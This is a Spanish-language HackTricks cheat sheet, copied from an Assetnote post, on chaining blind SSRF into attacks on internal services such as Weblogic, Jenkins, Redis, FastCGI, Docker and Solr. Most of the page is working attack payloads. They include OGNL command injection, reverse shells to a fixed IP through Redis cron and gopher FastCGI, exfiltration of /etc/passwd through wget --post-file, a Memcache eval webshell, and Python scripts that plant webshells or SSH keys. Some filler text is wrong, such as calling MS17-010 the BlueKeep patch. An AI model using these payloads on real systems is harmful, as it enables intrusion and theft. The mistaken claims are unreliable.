30 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén la oficial PEASS & HackTricks swag
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Esta sección fue copiada de https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
Elasticsearch
Puerto comúnmente utilizado: 9200
Cuando Elasticsearch se despliega internamente, generalmente no requiere autenticación.
Si tienes un SSRF parcialmente ciego donde puedes determinar el código de estado, verifica si los siguientes endpoints devuelven un 200:
/_cluster/health
/_cat/indices
/_cat/health
Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:
Nota: la API _shutdown
ha sido eliminada de Elasticsearch versión 2.x en adelante. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
Weblogic
Puertos comúnmente enlazados: 80, 443 (SSL), 7001, 8888
Canario SSRF: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Esto también funciona a través de GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Este endpoint también es vulnerable a la inyección de CRLF:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Resultará en la siguiente solicitud:
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Tomado de aquí.
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:
SMB
SMBv1
EternalBlue
EternalBlue es una vulnerabilidad en el protocolo SMBv1 que permite la ejecución remota de código en sistemas Windows sin autenticación. Fue utilizado en el ataque WannaCry en 2017.
MS17-010
MS17-010 es el parche que soluciona la vulnerabilidad EternalBlue. Si el sistema no está actualizado, es posible explotar esta vulnerabilidad para ejecutar código de forma remota.
SMBv2 y SMBv3
CVE-2020-0796
CVE-2020-0796 es una vulnerabilidad en el protocolo SMBv3 que permite la ejecución remota de código en sistemas Windows 10 y Windows Server 2019. También es conocida como "SMBGhost".
RDP
BlueKeep
BlueKeep es una vulnerabilidad en el protocolo RDP que permite la ejecución remota de código en sistemas Windows sin autenticación. Fue descubierta en 2019 y se cree que podría ser utilizada en un ataque similar a WannaCry.
MS17-010
MS17-010 es el parche que soluciona la vulnerabilidad BlueKeep. Si el sistema no está actualizado, es posible explotar esta vulnerabilidad para ejecutar código de forma remota.
DCOM
DCOM LFI
DCOM LFI es una vulnerabilidad que permite la lectura de archivos en sistemas Windows a través del protocolo DCOM. Es posible explotar esta vulnerabilidad para obtener información sensible del sistema.
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Hashicorp Consul
Puertos comúnmente utilizados: 8500, 8501 (SSL)
Se puede encontrar una descripción detallada aquí.
Shellshock
Puertos comúnmente utilizados: 80, 443 (SSL), 8080
Para probar efectivamente Shellshock, puede ser necesario agregar un encabezado que contenga el payload. Las siguientes rutas CGI valen la pena probar:
Lista corta de rutas CGI para probar:
SSRF Canary: Shellshock a través del User Agent
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Apache Druid
Puertos comúnmente utilizados: 80, 8080, 8888, 8082
Ver la referencia de la API de Apache Druid aquí.
Si puedes ver el código de estado, verifica las siguientes rutas para ver si devuelven un código de estado 200:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus
Shutdown tasks
Este tipo de vulnerabilidad requiere adivinar los IDs de las tareas o el nombre del origen de datos para poder apagarlas.
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Apague los supervisores en los Apache Druid Overlords:
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
Apache Solr
Puerto comúnmente utilizado: 8983
SSRF Canary: Parámetro Shards
Para agregar a lo que está diciendo shubham, escanear para solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar que estás golpeando una instancia de solr a ciegas.
— Хавиж Наффи 🥕 (@nnwakelam) 13 de enero de 2021
Tomado de aquí.
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
En 2017, se descubrió una vulnerabilidad de inyección XXE en Apache Solr 7.0.1 que permitía la ejecución de código.
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
RCE a través de dataImportHandler
Investigación sobre RCE a través de dataImportHandler
PeopleSoft
Puertos comúnmente utilizados: 80, 443 (SSL)
Tomado de esta investigación aquí.
SSRF Canary: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
Canario SSRF: XXE #2
En algunos casos, el servidor puede estar protegido contra SSRF, pero aún puede ser vulnerable a ataques de XXE (External Entity Injection). En este caso, podemos utilizar una carga útil XXE para leer archivos del sistema y obtener información confidencial.
Para explotar esta vulnerabilidad, necesitamos encontrar una entrada que acepte XML y que se procese en el servidor. Podemos intentar enviar una carga útil XXE básica como la siguiente:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<content>&xxe;</content>
</root>
Si la carga útil XXE funciona, deberíamos ver el contenido del archivo /etc/passwd
en la respuesta del servidor. Podemos utilizar esta técnica para leer otros archivos del sistema y obtener información confidencial.
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
Apache Struts
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
Tomado de aquí.
SSRF Canary: Struts2-016:
Agrega esto al final de cada endpoint/URL interno que conozcas:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
JBoss
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
Tomado de aquí.
Canario SSRF: Desplegar WAR desde URL
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
Confluence
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
Canario SSRF: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Ticket de seguridad de Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Jira
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Ticket de seguridad de Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Ticket de seguridad de Atlassian JRASERVER-69793
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
Otros productos de Atlassian
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
Canary SSRF: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
Ticket de seguridad de Atlassian OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
OpenTSDB
Puerto comúnmente utilizado: 4242
Ejecución remota de código en OpenTSDB
Canario SSRF: curl a través de RCE
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
OpenTSDB 2.4.0 Ejecución Remota de Código
Canario SSRF: curl a través de RCE - CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Jenkins
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8888
Excelente artículo aquí.
SSRF Canary: CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
RCE
Siga las instrucciones aquí para lograr RCE a través de GET: Hacking Jenkins Parte 2 - Abusando de la Meta Programación para RCE no autenticado!
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE a través de Groovy
En algunos casos, se puede utilizar Groovy para ejecutar código arbitrario en el servidor. Esto se debe a que Groovy es un lenguaje de programación dinámico que se ejecuta en la JVM y tiene acceso a todas las clases y bibliotecas de Java.
Para explotar esta vulnerabilidad, se debe encontrar una entrada que permita la ejecución de código Groovy en el servidor. Una vez que se encuentra esta entrada, se puede enviar código Groovy malicioso que se ejecutará en el servidor.
Aquí hay un ejemplo de cómo se puede explotar esta vulnerabilidad en un servidor que utiliza Groovy:
POST /api/submit HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
script=def cmd = "cat /etc/passwd"; Process p = cmd.execute(); p.waitFor(); println p.text
En este ejemplo, se envía un script Groovy que ejecuta el comando "cat /etc/passwd" en el servidor y devuelve el resultado. Este es solo un ejemplo, y se puede enviar cualquier código Groovy malicioso para ejecutar en el servidor.
Para prevenir esta vulnerabilidad, se debe asegurar que no haya entradas que permitan la ejecución de código Groovy en el servidor. Además, se debe validar y filtrar cualquier entrada de usuario para evitar la inyección de código malicioso.
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Panel de control de Hystrix
Puertos comúnmente utilizados: 80, 443 (SSL), 8080
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
Canario SSRF: CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/
W3 Total Cache
Puertos comúnmente utilizados: 80, 443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
Canario SSRF: CVE-2019-6715
Esto debe ser una solicitud PUT:
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
SSRF Canary
El aviso para esta vulnerabilidad fue publicado aquí: Vulnerabilidad SSRF en W3 Total Cache
Este código PHP generará un payload para su host de Canary SSRF (reemplace url
con su host de canary):
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Docker
Puertos comúnmente vinculados: 2375, 2376 (SSL)
Si tienes un SSRF parcialmente ciego, puedes usar las siguientes rutas para verificar la presencia de la API de Docker:
/containers/json
/secrets
/services
RCE a través de la ejecución de una imagen de Docker arbitraria
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Reemplace alpine con una imagen arbitraria que desee que el contenedor de Docker ejecute.
Gitlab Prometheus Redis Exporter
Puertos comúnmente vinculados: 9121
Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la documentación de Gitlab Prometheus y sus exportadores están activados de forma predeterminada a partir de GitLab 9.0.
Estos exportadores proporcionan un excelente método para que un atacante pivotee y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se puede explotar fácilmente es el Redis Exporter.
El siguiente endpoint permitirá a un atacante volcar todas las claves en el servidor de redis proporcionado a través del parámetro de destino:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
Posible a través de Gopher
Redis
Puerto comúnmente utilizado: 6379
Lectura recomendada:
RCE a través de Cron - Superficies de ataque de Gopher
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:
Gopher es un protocolo de red utilizado para recuperar información de servidores remotos. A menudo se utiliza en combinación con SSRF para obtener información confidencial o para realizar ataques adicionales. El protocolo Gopher utiliza el puerto 70 y tiene una sintaxis de URL diferente a la de HTTP. Para explotar una vulnerabilidad SSRF utilizando Gopher, se puede utilizar una URL Gopher en lugar de una URL HTTP en la solicitud. Por ejemplo, en lugar de http://example.com
, se puede utilizar gopher://example.com
.
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
RCE a través de carga de shell (PHP) - Resumen de Redis Getshell
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE a través de authorized_keys - Resumen de la obtención de shell en Redis
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE en GitLab a través del protocolo Git
Gran artículo de Liveoverflow aquí (en inglés).
Aunque se requiere acceso autenticado a GitLab para explotar esta vulnerabilidad, incluyo aquí el payload ya que el protocolo git
puede funcionar en el objetivo que estás hackeando. Este payload es solo de referencia.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Memcache
Puerto comúnmente utilizado: 11211
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
Apache Tomcat
Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)
Efectivo solo contra Tomcat 6:
CTF writeup utilizando esta técnica:
From XXE to RCE: Pwn2Win CTF 2018 Writeup
FastCGI
Puertos comúnmente utilizados: 80, 443 (SSL)
Esto fue tomado de aquí.
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Java RMI
Puertos comúnmente vinculados: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Las vulnerabilidades SSRF ciegas que permiten bytes arbitrarios (basados en gopher) se pueden utilizar para realizar ataques de deserialización o de base de código en los componentes predeterminados de Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Se puede encontrar una descripción detallada aquí. La siguiente lista muestra un ejemplo de generación de carga útil:
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PRs al repositorio hacktricks y al repositorio hacktricks-cloud.